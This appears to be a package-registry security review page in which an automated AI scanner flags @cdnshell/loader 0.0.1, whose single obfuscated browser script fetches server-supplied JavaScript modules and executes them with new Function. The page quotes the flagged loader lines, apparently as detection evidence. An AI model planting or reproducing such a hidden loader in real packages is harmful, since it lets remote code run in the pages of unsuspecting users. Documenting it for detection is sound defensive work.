registry / @cdnshell/loader / 0.0.1

@cdnshell/loader@0.0.1

AI Security Review

scanned 2d ago · by lpm-firewall-ai

When the bundled browser script is loaded into a document, it retrieves relative JavaScript modules and executes their text. This permits server-controlled code to run in the embedding page's origin.

Static reason

No blocking static signals were detected.

Trigger

A consumer includes or otherwise executes a5yjlvj.js in a browser document.

Impact

Remote content served under the relative module path can execute with the privileges of the hosting web page.

Mechanism

relative remote-module fetch followed by dynamic Function execution

Rationale

The package has no install-time execution, but its sole bundled asset is an obfuscated browser loader that dynamically fetches and executes server-provided code. That is a concrete, unresolved remote-code-execution capability for consumers who load the asset.

Evidence

a5yjlvj.jspackage.json

Network endpoints1

/b/<module>.js

Decision evidence

public snapshot

AI called this Suspicious at 94.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for warning

a5yjlvj.js fetches JavaScript modules at runtime from a relative base path.
Fetched response text is immediately executed with new Function.
The browser bootstrap runs automatically when document exists, enabling the remote-module loader.
The only source asset is heavily obfuscated and embeds large encoded code blobs.

Evidence against

package.json contains no lifecycle scripts, main, bin, or module entrypoint.
No Node filesystem, environment, child-process, credential, or explicit external-host access was found.
The remote module base is relative (/b/), so no fixed exfiltration endpoint is embedded.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsMinifiedTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 26.7 KB of source

Source & flagged code

4 flagged

a5yjlvj.jsView file

1const _0xD7DE682=await fetch(_0x987084[_0xDEF5C28[0x9]](_0x987084[_0xDEF5C28[0x8]]+_0x749A5D+".js")+"?"+(Math.random().toString(0x24).slice(0x2)||_0xDEF5C28[0x5]))

Medium

Ai Review Evidence

a5yjlvj.js fetches JavaScript modules at runtime from a relative base path.

a5yjlvj.jsView on unpkg · L1

1const _0xC79EE58=_0x6F3EA6=>{return new Function(_0x6F3EA6)()}

Medium

Ai Review Evidence

Fetched response text is immediately executed with new Function.

a5yjlvj.jsView on unpkg · L1

1if(typeof document!==_0xDEF5C28[0x1f]){_0xDEE8FBA()[_0xDEF5C28[0x1e]](_0x1D2398C=>{return console.warn("[entry]",_0x1D2398C)})}

Medium

Ai Review Evidence

The browser bootstrap runs automatically when document exists, enabling the remote-module loader.

a5yjlvj.jsView on unpkg · L1

1const _0xDEF5C28=["_0xBC401B","_0xD1834D","_0xE2B008",0x1,"b3ih11e",0x0,null,"href","_0xD1A8B8F","_0x181D8F","_0x74A98BE","_0xF8CCACA","_0x4F28C9","_0x429FBBE","getBuiltin","fetchM...

Low

Eval

Package source references a known benign dynamic code generation pattern.

a5yjlvj.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

a5yjlvj.jsView file

1const _0xD7DE682=await fetch(_0x987084[_0xDEF5C28[0x9]](_0x987084[_0xDEF5C28[0x8]]+_0x749A5D+".js")+"?"+(Math.random().toString(0x24).slice(0x2)||_0xDEF5C28[0x5]))

Medium

Ai Review Evidence

a5yjlvj.js fetches JavaScript modules at runtime from a relative base path.

a5yjlvj.jsView on unpkg · L1

1const _0xC79EE58=_0x6F3EA6=>{return new Function(_0x6F3EA6)()}

Medium

Ai Review Evidence

Fetched response text is immediately executed with new Function.

a5yjlvj.jsView on unpkg · L1

1if(typeof document!==_0xDEF5C28[0x1f]){_0xDEE8FBA()[_0xDEF5C28[0x1e]](_0x1D2398C=>{return console.warn("[entry]",_0x1D2398C)})}

Medium

Ai Review Evidence

The browser bootstrap runs automatically when document exists, enabling the remote-module loader.

a5yjlvj.jsView on unpkg · L1

1const _0xDEF5C28=["_0xBC401B","_0xD1834D","_0xE2B008",0x1,"b3ih11e",0x0,null,"href","_0xD1A8B8F","_0x181D8F","_0x74A98BE","_0xF8CCACA","_0x4F28C9","_0x429FBBE","getBuiltin","fetchM...

Findings

4 Medium2 Low

MediumNetwork

MediumAi Review Evidencea5yjlvj.js

LowEvala5yjlvj.js

LowHigh Entropy Strings